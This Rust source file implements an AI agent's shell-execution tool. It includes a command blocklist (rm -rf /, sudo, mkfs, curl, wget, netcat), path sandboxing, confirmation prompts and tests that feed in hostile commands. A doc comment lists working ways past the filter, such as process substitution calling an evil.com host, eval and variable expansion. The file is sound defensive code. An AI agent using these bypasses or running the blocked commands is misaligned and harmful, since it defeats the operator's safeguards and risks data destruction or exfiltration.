Skip to main content

zeph_tools/
shell.rs

1// SPDX-FileCopyrightText: 2026 Andrei G <bug-ops>
2// SPDX-License-Identifier: MIT OR Apache-2.0
3
4use std::path::PathBuf;
5use std::time::{Duration, Instant};
6
7use tokio::process::Command;
8use tokio_util::sync::CancellationToken;
9
10use schemars::JsonSchema;
11use serde::Deserialize;
12
13use crate::audit::{AuditEntry, AuditLogger, AuditResult};
14use crate::config::ShellConfig;
15use crate::executor::{
16    FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
17};
18use crate::filter::{OutputFilterRegistry, sanitize_output};
19use crate::permissions::{PermissionAction, PermissionPolicy};
20
21const DEFAULT_BLOCKED: &[&str] = &[
22    "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
23    "reboot", "halt",
24];
25
26const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
27
28#[derive(Deserialize, JsonSchema)]
29pub(crate) struct BashParams {
30    /// The bash command to execute
31    command: String,
32}
33
34/// Bash block extraction and execution via `tokio::process::Command`.
35#[derive(Debug)]
36pub struct ShellExecutor {
37    timeout: Duration,
38    blocked_commands: Vec<String>,
39    allowed_paths: Vec<PathBuf>,
40    confirm_patterns: Vec<String>,
41    audit_logger: Option<AuditLogger>,
42    tool_event_tx: Option<ToolEventTx>,
43    permission_policy: Option<PermissionPolicy>,
44    output_filter_registry: Option<OutputFilterRegistry>,
45    cancel_token: Option<CancellationToken>,
46    skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
47}
48
49impl ShellExecutor {
50    #[must_use]
51    pub fn new(config: &ShellConfig) -> Self {
52        let allowed: Vec<String> = config
53            .allowed_commands
54            .iter()
55            .map(|s| s.to_lowercase())
56            .collect();
57
58        let mut blocked: Vec<String> = DEFAULT_BLOCKED
59            .iter()
60            .filter(|s| !allowed.contains(&s.to_lowercase()))
61            .map(|s| (*s).to_owned())
62            .collect();
63        blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
64
65        if !config.allow_network {
66            for cmd in NETWORK_COMMANDS {
67                let lower = cmd.to_lowercase();
68                if !blocked.contains(&lower) {
69                    blocked.push(lower);
70                }
71            }
72        }
73
74        blocked.sort();
75        blocked.dedup();
76
77        let allowed_paths = if config.allowed_paths.is_empty() {
78            vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
79        } else {
80            config.allowed_paths.iter().map(PathBuf::from).collect()
81        };
82
83        Self {
84            timeout: Duration::from_secs(config.timeout),
85            blocked_commands: blocked,
86            allowed_paths,
87            confirm_patterns: config.confirm_patterns.clone(),
88            audit_logger: None,
89            tool_event_tx: None,
90            permission_policy: None,
91            output_filter_registry: None,
92            cancel_token: None,
93            skill_env: std::sync::RwLock::new(None),
94        }
95    }
96
97    /// Set environment variables to inject when executing the active skill's bash blocks.
98    pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
99        match self.skill_env.write() {
100            Ok(mut guard) => *guard = env,
101            Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
102        }
103    }
104
105    #[must_use]
106    pub fn with_audit(mut self, logger: AuditLogger) -> Self {
107        self.audit_logger = Some(logger);
108        self
109    }
110
111    #[must_use]
112    pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
113        self.tool_event_tx = Some(tx);
114        self
115    }
116
117    #[must_use]
118    pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
119        self.permission_policy = Some(policy);
120        self
121    }
122
123    #[must_use]
124    pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
125        self.cancel_token = Some(token);
126        self
127    }
128
129    #[must_use]
130    pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
131        self.output_filter_registry = Some(registry);
132        self
133    }
134
135    /// Execute a bash block bypassing the confirmation check (called after user confirms).
136    ///
137    /// # Errors
138    ///
139    /// Returns `ToolError` on blocked commands, sandbox violations, or execution failures.
140    pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
141        self.execute_inner(response, true).await
142    }
143
144    #[allow(clippy::too_many_lines)]
145    async fn execute_inner(
146        &self,
147        response: &str,
148        skip_confirm: bool,
149    ) -> Result<Option<ToolOutput>, ToolError> {
150        let blocks = extract_bash_blocks(response);
151        if blocks.is_empty() {
152            return Ok(None);
153        }
154
155        let mut outputs = Vec::with_capacity(blocks.len());
156        let mut cumulative_filter_stats: Option<FilterStats> = None;
157        #[allow(clippy::cast_possible_truncation)]
158        let blocks_executed = blocks.len() as u32;
159
160        for block in &blocks {
161            if let Some(ref policy) = self.permission_policy {
162                match policy.check("bash", block) {
163                    PermissionAction::Deny => {
164                        self.log_audit(
165                            block,
166                            AuditResult::Blocked {
167                                reason: "denied by permission policy".to_owned(),
168                            },
169                            0,
170                        )
171                        .await;
172                        return Err(ToolError::Blocked {
173                            command: (*block).to_owned(),
174                        });
175                    }
176                    PermissionAction::Ask if !skip_confirm => {
177                        return Err(ToolError::ConfirmationRequired {
178                            command: (*block).to_owned(),
179                        });
180                    }
181                    _ => {}
182                }
183            } else {
184                if let Some(blocked) = self.find_blocked_command(block) {
185                    self.log_audit(
186                        block,
187                        AuditResult::Blocked {
188                            reason: format!("blocked command: {blocked}"),
189                        },
190                        0,
191                    )
192                    .await;
193                    return Err(ToolError::Blocked {
194                        command: blocked.to_owned(),
195                    });
196                }
197
198                if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
199                    return Err(ToolError::ConfirmationRequired {
200                        command: pattern.to_owned(),
201                    });
202                }
203            }
204
205            self.validate_sandbox(block)?;
206
207            if let Some(ref tx) = self.tool_event_tx {
208                let _ = tx.send(ToolEvent::Started {
209                    tool_name: "bash".to_owned(),
210                    command: (*block).to_owned(),
211                });
212            }
213
214            let start = Instant::now();
215            let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
216                self.skill_env.read().ok().and_then(|g| g.clone());
217            let (out, exit_code) = execute_bash(
218                block,
219                self.timeout,
220                self.tool_event_tx.as_ref(),
221                self.cancel_token.as_ref(),
222                skill_env_snapshot.as_ref(),
223            )
224            .await;
225            if exit_code == 130
226                && self
227                    .cancel_token
228                    .as_ref()
229                    .is_some_and(CancellationToken::is_cancelled)
230            {
231                return Err(ToolError::Cancelled);
232            }
233            #[allow(clippy::cast_possible_truncation)]
234            let duration_ms = start.elapsed().as_millis() as u64;
235
236            let result = if out.contains("[error]") {
237                AuditResult::Error {
238                    message: out.clone(),
239                }
240            } else if out.contains("timed out") {
241                AuditResult::Timeout
242            } else {
243                AuditResult::Success
244            };
245            self.log_audit(block, result, duration_ms).await;
246
247            let sanitized = sanitize_output(&out);
248            let mut per_block_stats: Option<FilterStats> = None;
249            let filtered = if let Some(ref registry) = self.output_filter_registry {
250                match registry.apply(block, &sanitized, exit_code) {
251                    Some(fr) => {
252                        tracing::debug!(
253                            command = block,
254                            raw = fr.raw_chars,
255                            filtered = fr.filtered_chars,
256                            savings_pct = fr.savings_pct(),
257                            "output filter applied"
258                        );
259                        let block_fs = FilterStats {
260                            raw_chars: fr.raw_chars,
261                            filtered_chars: fr.filtered_chars,
262                            raw_lines: fr.raw_lines,
263                            filtered_lines: fr.filtered_lines,
264                            confidence: Some(fr.confidence),
265                            command: Some((*block).to_owned()),
266                            kept_lines: fr.kept_lines.clone(),
267                        };
268                        let stats =
269                            cumulative_filter_stats.get_or_insert_with(FilterStats::default);
270                        stats.raw_chars += fr.raw_chars;
271                        stats.filtered_chars += fr.filtered_chars;
272                        stats.raw_lines += fr.raw_lines;
273                        stats.filtered_lines += fr.filtered_lines;
274                        stats.confidence = Some(match (stats.confidence, fr.confidence) {
275                            (Some(prev), cur) => crate::filter::worse_confidence(prev, cur),
276                            (None, cur) => cur,
277                        });
278                        if stats.command.is_none() {
279                            stats.command = Some((*block).to_owned());
280                        }
281                        if stats.kept_lines.is_empty() && !fr.kept_lines.is_empty() {
282                            stats.kept_lines.clone_from(&fr.kept_lines);
283                        }
284                        per_block_stats = Some(block_fs);
285                        fr.output
286                    }
287                    None => sanitized,
288                }
289            } else {
290                sanitized
291            };
292
293            if let Some(ref tx) = self.tool_event_tx {
294                let _ = tx.send(ToolEvent::Completed {
295                    tool_name: "bash".to_owned(),
296                    command: (*block).to_owned(),
297                    output: out.clone(),
298                    success: !out.contains("[error]"),
299                    filter_stats: per_block_stats,
300                    diff: None,
301                });
302            }
303            outputs.push(format!("$ {block}\n{filtered}"));
304        }
305
306        Ok(Some(ToolOutput {
307            tool_name: "bash".to_owned(),
308            summary: outputs.join("\n\n"),
309            blocks_executed,
310            filter_stats: cumulative_filter_stats,
311            diff: None,
312            streamed: self.tool_event_tx.is_some(),
313            terminal_id: None,
314            locations: None,
315        }))
316    }
317
318    fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
319        let cwd = std::env::current_dir().unwrap_or_default();
320
321        for token in extract_paths(code) {
322            if has_traversal(&token) {
323                return Err(ToolError::SandboxViolation { path: token });
324            }
325
326            let path = if token.starts_with('/') {
327                PathBuf::from(&token)
328            } else {
329                cwd.join(&token)
330            };
331            let canonical = path
332                .canonicalize()
333                .or_else(|_| std::path::absolute(&path))
334                .unwrap_or(path);
335            if !self
336                .allowed_paths
337                .iter()
338                .any(|allowed| canonical.starts_with(allowed))
339            {
340                return Err(ToolError::SandboxViolation {
341                    path: canonical.display().to_string(),
342                });
343            }
344        }
345        Ok(())
346    }
347
348    /// Scan `code` for commands that match the configured blocklist.
349    ///
350    /// The function normalizes input via [`strip_shell_escapes`] (decoding `$'\xNN'`,
351    /// `$'\NNN'`, backslash escapes, and quote-splitting) and then splits on shell
352    /// metacharacters (`||`, `&&`, `;`, `|`, `\n`) via [`tokenize_commands`].  Each
353    /// resulting token sequence is tested against every entry in `blocked_commands`
354    /// through [`tokens_match_pattern`], which handles transparent prefixes (`env`,
355    /// `command`, `exec`, etc.), absolute paths, and dot-suffixed variants.
356    ///
357    /// # Known limitations
358    ///
359    /// The following constructs are **not** detected by this function:
360    ///
361    /// - **Process substitution** `<(...)` / `>(...)`: bash executes the inner command
362    ///   before passing the file descriptor to the outer command; `tokenize_commands`
363    ///   never parses inside parentheses, so the inner command is invisible.
364    ///   Example: `cat <(curl http://evil.com)` — `curl` runs undetected.
365    ///
366    /// - **Here-strings** `<<<` with a shell interpreter: the outer command is the
367    ///   shell (`bash`, `sh`), which is not blocked by default; the payload string is
368    ///   opaque to this filter.
369    ///   Example: `bash <<< 'sudo rm -rf /'` — inner payload is not parsed.
370    ///
371    /// - **`eval` and `bash -c` / `sh -c`**: the string argument is not parsed; any
372    ///   blocked command embedded as a string argument passes through undetected.
373    ///   Example: `eval 'sudo rm -rf /'`.
374    ///
375    /// - **Variable expansion**: `strip_shell_escapes` does not resolve variable
376    ///   references, so `cmd=sudo; $cmd rm` bypasses the blocklist.
377    ///
378    /// `$(...)` and backtick substitution are **not** covered here either, but the
379    /// default `confirm_patterns` in [`ShellConfig`] include `"$("` and `` "`" ``,
380    /// as well as `"<("`, `">("`, `"<<<"`, and `"eval "`, so those constructs trigger
381    /// a confirmation request via [`find_confirm_command`] before execution.
382    ///
383    /// For high-security deployments, complement this filter with OS-level sandboxing
384    /// (Linux namespaces, seccomp, or similar) to enforce hard execution boundaries.
385    fn find_blocked_command(&self, code: &str) -> Option<&str> {
386        let cleaned = strip_shell_escapes(&code.to_lowercase());
387        let commands = tokenize_commands(&cleaned);
388        for blocked in &self.blocked_commands {
389            for cmd_tokens in &commands {
390                if tokens_match_pattern(cmd_tokens, blocked) {
391                    return Some(blocked.as_str());
392                }
393            }
394        }
395        None
396    }
397
398    fn find_confirm_command(&self, code: &str) -> Option<&str> {
399        let normalized = code.to_lowercase();
400        for pattern in &self.confirm_patterns {
401            if normalized.contains(pattern.as_str()) {
402                return Some(pattern.as_str());
403            }
404        }
405        None
406    }
407
408    async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
409        if let Some(ref logger) = self.audit_logger {
410            let entry = AuditEntry {
411                timestamp: chrono_now(),
412                tool: "shell".into(),
413                command: command.into(),
414                result,
415                duration_ms,
416            };
417            logger.log(&entry).await;
418        }
419    }
420}
421
422impl ToolExecutor for ShellExecutor {
423    async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
424        self.execute_inner(response, false).await
425    }
426
427    fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
428        use crate::registry::{InvocationHint, ToolDef};
429        vec![ToolDef {
430            id: "bash".into(),
431            description: "Execute a shell command".into(),
432            schema: schemars::schema_for!(BashParams),
433            invocation: InvocationHint::FencedBlock("bash"),
434        }]
435    }
436
437    async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
438        if call.tool_id != "bash" {
439            return Ok(None);
440        }
441        let params: BashParams = crate::executor::deserialize_params(&call.params)?;
442        if params.command.is_empty() {
443            return Ok(None);
444        }
445        let command = &params.command;
446        // Wrap as a fenced block so execute_inner can extract and run it
447        let synthetic = format!("```bash\n{command}\n```");
448        self.execute_inner(&synthetic, false).await
449    }
450
451    fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
452        ShellExecutor::set_skill_env(self, env);
453    }
454}
455
456/// Strip shell escape sequences that could bypass command detection.
457/// Handles: backslash insertion (`su\do` -> `sudo`), `$'\xNN'` hex and `$'\NNN'` octal
458/// escapes, adjacent quoted segments (`"su""do"` -> `sudo`), backslash-newline continuations.
459fn strip_shell_escapes(input: &str) -> String {
460    let mut out = String::with_capacity(input.len());
461    let bytes = input.as_bytes();
462    let mut i = 0;
463    while i < bytes.len() {
464        // $'...' ANSI-C quoting: decode \xNN hex and \NNN octal escapes
465        if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
466            let mut j = i + 2; // points after $'
467            let mut decoded = String::new();
468            let mut valid = false;
469            while j < bytes.len() && bytes[j] != b'\'' {
470                if bytes[j] == b'\\' && j + 1 < bytes.len() {
471                    let next = bytes[j + 1];
472                    if next == b'x' && j + 3 < bytes.len() {
473                        // \xNN hex escape
474                        let hi = (bytes[j + 2] as char).to_digit(16);
475                        let lo = (bytes[j + 3] as char).to_digit(16);
476                        if let (Some(h), Some(l)) = (hi, lo) {
477                            #[allow(clippy::cast_possible_truncation)]
478                            let byte = ((h << 4) | l) as u8;
479                            decoded.push(byte as char);
480                            j += 4;
481                            valid = true;
482                            continue;
483                        }
484                    } else if next.is_ascii_digit() {
485                        // \NNN octal escape (up to 3 digits)
486                        let mut val = u32::from(next - b'0');
487                        let mut len = 2; // consumed \N so far
488                        if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
489                            val = val * 8 + u32::from(bytes[j + 2] - b'0');
490                            len = 3;
491                            if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
492                                val = val * 8 + u32::from(bytes[j + 3] - b'0');
493                                len = 4;
494                            }
495                        }
496                        #[allow(clippy::cast_possible_truncation)]
497                        decoded.push((val & 0xFF) as u8 as char);
498                        j += len;
499                        valid = true;
500                        continue;
501                    }
502                    // other \X escape: emit X literally
503                    decoded.push(next as char);
504                    j += 2;
505                } else {
506                    decoded.push(bytes[j] as char);
507                    j += 1;
508                }
509            }
510            if j < bytes.len() && bytes[j] == b'\'' && valid {
511                out.push_str(&decoded);
512                i = j + 1;
513                continue;
514            }
515            // not a decodable $'...' sequence — fall through to handle as regular chars
516        }
517        // backslash-newline continuation: remove both
518        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
519            i += 2;
520            continue;
521        }
522        // intra-word backslash: skip the backslash, keep next char (e.g. su\do -> sudo)
523        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
524            i += 1;
525            out.push(bytes[i] as char);
526            i += 1;
527            continue;
528        }
529        // quoted segment stripping: collapse adjacent quoted segments
530        if bytes[i] == b'"' || bytes[i] == b'\'' {
531            let quote = bytes[i];
532            i += 1;
533            while i < bytes.len() && bytes[i] != quote {
534                out.push(bytes[i] as char);
535                i += 1;
536            }
537            if i < bytes.len() {
538                i += 1; // skip closing quote
539            }
540            continue;
541        }
542        out.push(bytes[i] as char);
543        i += 1;
544    }
545    out
546}
547
548/// Split normalized shell code into sub-commands on `|`, `||`, `&&`, `;`, `\n`.
549/// Returns list of sub-commands, each as `Vec<String>` of tokens.
550fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
551    // Replace two-char operators with a single separator, then split on single-char separators
552    let replaced = normalized.replace("||", "\n").replace("&&", "\n");
553    replaced
554        .split([';', '|', '\n'])
555        .map(|seg| {
556            seg.split_whitespace()
557                .map(str::to_owned)
558                .collect::<Vec<String>>()
559        })
560        .filter(|tokens| !tokens.is_empty())
561        .collect()
562}
563
564/// Transparent prefix commands that invoke the next argument as a command.
565/// Skipped when determining the "real" command name being invoked.
566const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
567
568/// Return the basename of a token (last path component after '/').
569fn cmd_basename(tok: &str) -> &str {
570    tok.rsplit('/').next().unwrap_or(tok)
571}
572
573/// Check if the first tokens of a sub-command match a blocked pattern.
574/// Handles:
575/// - Transparent prefix commands (`env sudo rm` -> checks `sudo`)
576/// - Absolute paths (`/usr/bin/sudo rm` -> basename `sudo` is checked)
577/// - Dot-suffixed variants (`mkfs` matches `mkfs.ext4`)
578/// - Multi-word patterns (`rm -rf /` joined prefix check)
579fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
580    if tokens.is_empty() || pattern.is_empty() {
581        return false;
582    }
583    let pattern = pattern.trim();
584    let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
585    if pattern_tokens.is_empty() {
586        return false;
587    }
588
589    // Skip transparent prefix tokens to reach the real command
590    let start = tokens
591        .iter()
592        .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
593        .unwrap_or(0);
594    let effective = &tokens[start..];
595    if effective.is_empty() {
596        return false;
597    }
598
599    if pattern_tokens.len() == 1 {
600        let pat = pattern_tokens[0];
601        let base = cmd_basename(&effective[0]);
602        // Exact match OR dot-suffixed variant (e.g. "mkfs" matches "mkfs.ext4")
603        base == pat || base.starts_with(&format!("{pat}."))
604    } else {
605        // Multi-word: join first N tokens (using basename for first) and check prefix
606        let n = pattern_tokens.len().min(effective.len());
607        let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
608        parts.extend(effective[1..n].iter().map(String::as_str));
609        let joined = parts.join(" ");
610        if joined.starts_with(pattern) {
611            return true;
612        }
613        if effective.len() > n {
614            let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
615            parts2.extend(effective[1..=n].iter().map(String::as_str));
616            parts2.join(" ").starts_with(pattern)
617        } else {
618            false
619        }
620    }
621}
622
623fn extract_paths(code: &str) -> Vec<String> {
624    let mut result = Vec::new();
625
626    // Tokenize respecting single/double quotes
627    let mut tokens: Vec<String> = Vec::new();
628    let mut current = String::new();
629    let mut chars = code.chars().peekable();
630    while let Some(c) = chars.next() {
631        match c {
632            '"' | '\'' => {
633                let quote = c;
634                while let Some(&nc) = chars.peek() {
635                    if nc == quote {
636                        chars.next();
637                        break;
638                    }
639                    current.push(chars.next().unwrap());
640                }
641            }
642            c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
643                if !current.is_empty() {
644                    tokens.push(std::mem::take(&mut current));
645                }
646            }
647            _ => current.push(c),
648        }
649    }
650    if !current.is_empty() {
651        tokens.push(current);
652    }
653
654    for token in tokens {
655        let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
656        if trimmed.is_empty() {
657            continue;
658        }
659        if trimmed.starts_with('/')
660            || trimmed.starts_with("./")
661            || trimmed.starts_with("../")
662            || trimmed == ".."
663        {
664            result.push(trimmed);
665        }
666    }
667    result
668}
669
670fn has_traversal(path: &str) -> bool {
671    path.split('/').any(|seg| seg == "..")
672}
673
674fn extract_bash_blocks(text: &str) -> Vec<&str> {
675    crate::executor::extract_fenced_blocks(text, "bash")
676}
677
678fn chrono_now() -> String {
679    use std::time::{SystemTime, UNIX_EPOCH};
680    let secs = SystemTime::now()
681        .duration_since(UNIX_EPOCH)
682        .unwrap_or_default()
683        .as_secs();
684    format!("{secs}")
685}
686
687/// Kill a child process and its descendants.
688/// On unix, sends SIGKILL to child processes via `pkill -KILL -P <pid>` before
689/// killing the parent, preventing zombie subprocesses.
690async fn kill_process_tree(child: &mut tokio::process::Child) {
691    #[cfg(unix)]
692    if let Some(pid) = child.id() {
693        let _ = Command::new("pkill")
694            .args(["-KILL", "-P", &pid.to_string()])
695            .status()
696            .await;
697    }
698    let _ = child.kill().await;
699}
700
701async fn execute_bash(
702    code: &str,
703    timeout: Duration,
704    event_tx: Option<&ToolEventTx>,
705    cancel_token: Option<&CancellationToken>,
706    extra_env: Option<&std::collections::HashMap<String, String>>,
707) -> (String, i32) {
708    use std::process::Stdio;
709    use tokio::io::{AsyncBufReadExt, BufReader};
710
711    let timeout_secs = timeout.as_secs();
712
713    let mut cmd = Command::new("bash");
714    cmd.arg("-c")
715        .arg(code)
716        .stdout(Stdio::piped())
717        .stderr(Stdio::piped());
718    if let Some(env) = extra_env {
719        cmd.envs(env);
720    }
721    let child_result = cmd.spawn();
722
723    let mut child = match child_result {
724        Ok(c) => c,
725        Err(e) => return (format!("[error] {e}"), 1),
726    };
727
728    let stdout = child.stdout.take().expect("stdout piped");
729    let stderr = child.stderr.take().expect("stderr piped");
730
731    let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
732
733    let stdout_tx = line_tx.clone();
734    tokio::spawn(async move {
735        let mut reader = BufReader::new(stdout);
736        let mut buf = String::new();
737        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
738            let _ = stdout_tx.send(buf.clone()).await;
739            buf.clear();
740        }
741    });
742
743    tokio::spawn(async move {
744        let mut reader = BufReader::new(stderr);
745        let mut buf = String::new();
746        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
747            let _ = line_tx.send(format!("[stderr] {buf}")).await;
748            buf.clear();
749        }
750    });
751
752    let mut combined = String::new();
753    let deadline = tokio::time::Instant::now() + timeout;
754
755    loop {
756        tokio::select! {
757            line = line_rx.recv() => {
758                match line {
759                    Some(chunk) => {
760                        if let Some(tx) = event_tx {
761                            let _ = tx.send(ToolEvent::OutputChunk {
762                                tool_name: "bash".to_owned(),
763                                command: code.to_owned(),
764                                chunk: chunk.clone(),
765                            });
766                        }
767                        combined.push_str(&chunk);
768                    }
769                    None => break,
770                }
771            }
772            () = tokio::time::sleep_until(deadline) => {
773                kill_process_tree(&mut child).await;
774                return (format!("[error] command timed out after {timeout_secs}s"), 1);
775            }
776            () = async {
777                match cancel_token {
778                    Some(t) => t.cancelled().await,
779                    None => std::future::pending().await,
780                }
781            } => {
782                kill_process_tree(&mut child).await;
783                return ("[cancelled] operation aborted".to_string(), 130);
784            }
785        }
786    }
787
788    let status = child.wait().await;
789    let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
790
791    if combined.is_empty() {
792        ("(no output)".to_string(), exit_code)
793    } else {
794        (combined, exit_code)
795    }
796}
797
798#[cfg(test)]
799mod tests {
800    use super::*;
801
802    fn default_config() -> ShellConfig {
803        ShellConfig {
804            timeout: 30,
805            blocked_commands: Vec::new(),
806            allowed_commands: Vec::new(),
807            allowed_paths: Vec::new(),
808            allow_network: true,
809            confirm_patterns: Vec::new(),
810        }
811    }
812
813    fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
814        ShellConfig {
815            allowed_paths,
816            ..default_config()
817        }
818    }
819
820    #[test]
821    fn extract_single_bash_block() {
822        let text = "Here is code:\n```bash\necho hello\n```\nDone.";
823        let blocks = extract_bash_blocks(text);
824        assert_eq!(blocks, vec!["echo hello"]);
825    }
826
827    #[test]
828    fn extract_multiple_bash_blocks() {
829        let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
830        let blocks = extract_bash_blocks(text);
831        assert_eq!(blocks, vec!["ls", "pwd"]);
832    }
833
834    #[test]
835    fn ignore_non_bash_blocks() {
836        let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
837        let blocks = extract_bash_blocks(text);
838        assert_eq!(blocks, vec!["echo hi"]);
839    }
840
841    #[test]
842    fn no_blocks_returns_none() {
843        let text = "Just plain text, no code blocks.";
844        let blocks = extract_bash_blocks(text);
845        assert!(blocks.is_empty());
846    }
847
848    #[test]
849    fn unclosed_block_ignored() {
850        let text = "```bash\necho hello";
851        let blocks = extract_bash_blocks(text);
852        assert!(blocks.is_empty());
853    }
854
855    #[tokio::test]
856    #[cfg(not(target_os = "windows"))]
857    async fn execute_simple_command() {
858        let (result, code) =
859            execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
860        assert!(result.contains("hello"));
861        assert_eq!(code, 0);
862    }
863
864    #[tokio::test]
865    #[cfg(not(target_os = "windows"))]
866    async fn execute_stderr_output() {
867        let (result, _) =
868            execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
869        assert!(result.contains("[stderr]"));
870        assert!(result.contains("err"));
871    }
872
873    #[tokio::test]
874    #[cfg(not(target_os = "windows"))]
875    async fn execute_stdout_and_stderr_combined() {
876        let (result, _) = execute_bash(
877            "echo out && echo err >&2",
878            Duration::from_secs(30),
879            None,
880            None,
881            None,
882        )
883        .await;
884        assert!(result.contains("out"));
885        assert!(result.contains("[stderr]"));
886        assert!(result.contains("err"));
887        assert!(result.contains('\n'));
888    }
889
890    #[tokio::test]
891    #[cfg(not(target_os = "windows"))]
892    async fn execute_empty_output() {
893        let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
894        assert_eq!(result, "(no output)");
895        assert_eq!(code, 0);
896    }
897
898    #[tokio::test]
899    async fn blocked_command_rejected() {
900        let config = ShellConfig {
901            blocked_commands: vec!["rm -rf /".to_owned()],
902            ..default_config()
903        };
904        let executor = ShellExecutor::new(&config);
905        let response = "Run:\n```bash\nrm -rf /\n```";
906        let result = executor.execute(response).await;
907        assert!(matches!(result, Err(ToolError::Blocked { .. })));
908    }
909
910    #[tokio::test]
911    #[cfg(not(target_os = "windows"))]
912    async fn timeout_enforced() {
913        let config = ShellConfig {
914            timeout: 1,
915            ..default_config()
916        };
917        let executor = ShellExecutor::new(&config);
918        let response = "Run:\n```bash\nsleep 60\n```";
919        let result = executor.execute(response).await;
920        assert!(result.is_ok());
921        let output = result.unwrap().unwrap();
922        assert!(output.summary.contains("timed out"));
923    }
924
925    #[tokio::test]
926    async fn execute_no_blocks_returns_none() {
927        let executor = ShellExecutor::new(&default_config());
928        let result = executor.execute("plain text, no blocks").await;
929        assert!(result.is_ok());
930        assert!(result.unwrap().is_none());
931    }
932
933    #[tokio::test]
934    async fn execute_multiple_blocks_counted() {
935        let executor = ShellExecutor::new(&default_config());
936        let response = "```bash\necho one\n```\n```bash\necho two\n```";
937        let result = executor.execute(response).await;
938        let output = result.unwrap().unwrap();
939        assert_eq!(output.blocks_executed, 2);
940        assert!(output.summary.contains("one"));
941        assert!(output.summary.contains("two"));
942    }
943
944    // --- command filtering tests ---
945
946    #[test]
947    fn default_blocked_always_active() {
948        let executor = ShellExecutor::new(&default_config());
949        assert!(executor.find_blocked_command("rm -rf /").is_some());
950        assert!(executor.find_blocked_command("sudo apt install").is_some());
951        assert!(
952            executor
953                .find_blocked_command("mkfs.ext4 /dev/sda")
954                .is_some()
955        );
956        assert!(
957            executor
958                .find_blocked_command("dd if=/dev/zero of=disk")
959                .is_some()
960        );
961    }
962
963    #[test]
964    fn user_blocked_additive() {
965        let config = ShellConfig {
966            blocked_commands: vec!["custom-danger".to_owned()],
967            ..default_config()
968        };
969        let executor = ShellExecutor::new(&config);
970        assert!(executor.find_blocked_command("sudo rm").is_some());
971        assert!(
972            executor
973                .find_blocked_command("custom-danger script")
974                .is_some()
975        );
976    }
977
978    #[test]
979    fn blocked_prefix_match() {
980        let executor = ShellExecutor::new(&default_config());
981        assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
982    }
983
984    #[test]
985    fn blocked_infix_match() {
986        let executor = ShellExecutor::new(&default_config());
987        assert!(
988            executor
989                .find_blocked_command("echo hello && sudo rm")
990                .is_some()
991        );
992    }
993
994    #[test]
995    fn blocked_case_insensitive() {
996        let executor = ShellExecutor::new(&default_config());
997        assert!(executor.find_blocked_command("SUDO apt install").is_some());
998        assert!(executor.find_blocked_command("Sudo apt install").is_some());
999        assert!(executor.find_blocked_command("SuDo apt install").is_some());
1000        assert!(
1001            executor
1002                .find_blocked_command("MKFS.ext4 /dev/sda")
1003                .is_some()
1004        );
1005        assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
1006        assert!(executor.find_blocked_command("RM -RF /").is_some());
1007    }
1008
1009    #[test]
1010    fn safe_command_passes() {
1011        let executor = ShellExecutor::new(&default_config());
1012        assert!(executor.find_blocked_command("echo hello").is_none());
1013        assert!(executor.find_blocked_command("ls -la").is_none());
1014        assert!(executor.find_blocked_command("cat file.txt").is_none());
1015        assert!(executor.find_blocked_command("cargo build").is_none());
1016    }
1017
1018    #[test]
1019    fn partial_match_accepted_tradeoff() {
1020        let executor = ShellExecutor::new(&default_config());
1021        // "sudoku" is not the "sudo" command — word-boundary matching prevents false positive
1022        assert!(executor.find_blocked_command("sudoku").is_none());
1023    }
1024
1025    #[test]
1026    fn multiline_command_blocked() {
1027        let executor = ShellExecutor::new(&default_config());
1028        assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
1029    }
1030
1031    #[test]
1032    fn dd_pattern_blocks_dd_if() {
1033        let executor = ShellExecutor::new(&default_config());
